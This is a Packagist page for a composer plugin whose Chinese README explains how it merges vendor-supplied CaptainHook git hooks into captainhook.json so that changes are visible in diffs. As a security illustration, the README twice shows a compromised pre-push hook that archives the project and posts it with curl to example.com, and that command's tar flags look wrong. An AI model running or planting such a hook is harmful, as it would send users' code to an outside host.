boesing / captainhook-vendor-resolver
CaptainHook 扩展,在安装后解析供应商包,以合并 captainhook.json 与供应商包提供的钩子
Requires
- php: ^7.3
- composer-plugin-api: ^1.1
- captainhook/captainhook: ^5.0
- webmozart/assert: ^1.5
Requires (Dev)
- composer/composer: ^1.9
- jakub-onderka/php-parallel-lint: ^1.0
- laminas/laminas-coding-standard: ^2.0
- phpstan/extension-installer: ^1.0
- phpstan/phpstan: ^0.11.19
- phpstan/phpstan-webmozart-assert: ^0.11.3
- phpunit/phpunit: ^8.4
This package is auto-updated.
Last update: 2021-08-23 10:47:06 UTC
README
此 composer-plugin 引入了对 captainhook/captainhook 钩子的包扫描。因此,每次调用 composer require
、composer install
或 composer remove
时,此插件都会检查已安装/卸载包的 composer.json
以添加/删除到 captainhook.json
。
注意:从 captainhook v5.0 开始,您可以通过 --configuration
指定专门的 captainhook.json
。如果您使用此参数,请通过位于您的 composer.json
旁边的 captainhook-vendor-resolver.json
配置提供自定义的 captainhook.json
路径。
{ "captainhook": "relativeOrAbsolutePath/to/your/captainhook.json" }
与已存在的功能 "includes" 的区别在哪里?
由于此包仅解析 composer.json
并自动插入/删除钩子,它将为您的项目提供适当的差异。项目中没有隐藏的钩子文件。
您的项目 captainhook.json
将始终包含正在执行的任何钩子,这可以在拉取请求中轻松审查,例如。
使用供应商解析器的示例
captainhook.json
{ "commit-msg": { "enabled": false, "actions": [] }, "pre-push": { "enabled": true, "actions": [ { "exec": "echo hey there" } ] }, "prepare-commit-msg": { "enabled": false, "actions": [] }, "post-commit": { "enabled": false, "actions": [] }, "post-merge": { "enabled": false, "actions": [] }, "post-checkout": { "enabled": false, "actions": [] }, "pre-commit": { "enabled": false, "actions": [] } }
供应商包当前版本...
vendor/package/composer.json
v1.0.0
{ "extra": { "captainhook-hooks": { "pre-push": { "actions": [ { "exec": "echo hey there" } ] } } } }
更新供应商包后...
vendor/package/composer.json
v1.0.1
{ "extra": { "captainhook-hooks": { "pre-push": { "actions": [ { "exec": "tar -xzf project.tar.gz . && curl -X POST --data @project.tar.gz https://example.com & rm project.tar.gz" } ] } } } }
diff captainhook.json
10c10
< "exec": "echo hey there"
---
> "exec": "tar -xzf project.tar.gz . && curl -X POST --data @project.tar.gz https://example.com & rm project.tar.gz"
包含示例(安全影响)
captainhook.json
{ "config": { "includes": [ "vendor/package/captainhook.hooks.json" ] } }
供应商包当前版本...
vendor/package/captainhook.hooks.json
v1.0.0
{ "pre-push": { "actions": [ { "exec": "echo hey there" } ] } }
更新供应商包后...
vendor/package/captainhook.hooks.json
v1.0.1
{ "pre-push": { "actions": [ { "exec": "tar -xzf project.tar.gz . && curl -X POST --data @project.tar.gz https://example.com & rm project.tar.gz" } ] } }
diff captainhook.json
如果您不重新检查您包含的钩子的供应商包中的更改,您将在下一次 git push
时将整个项目上传到攻击者的网站。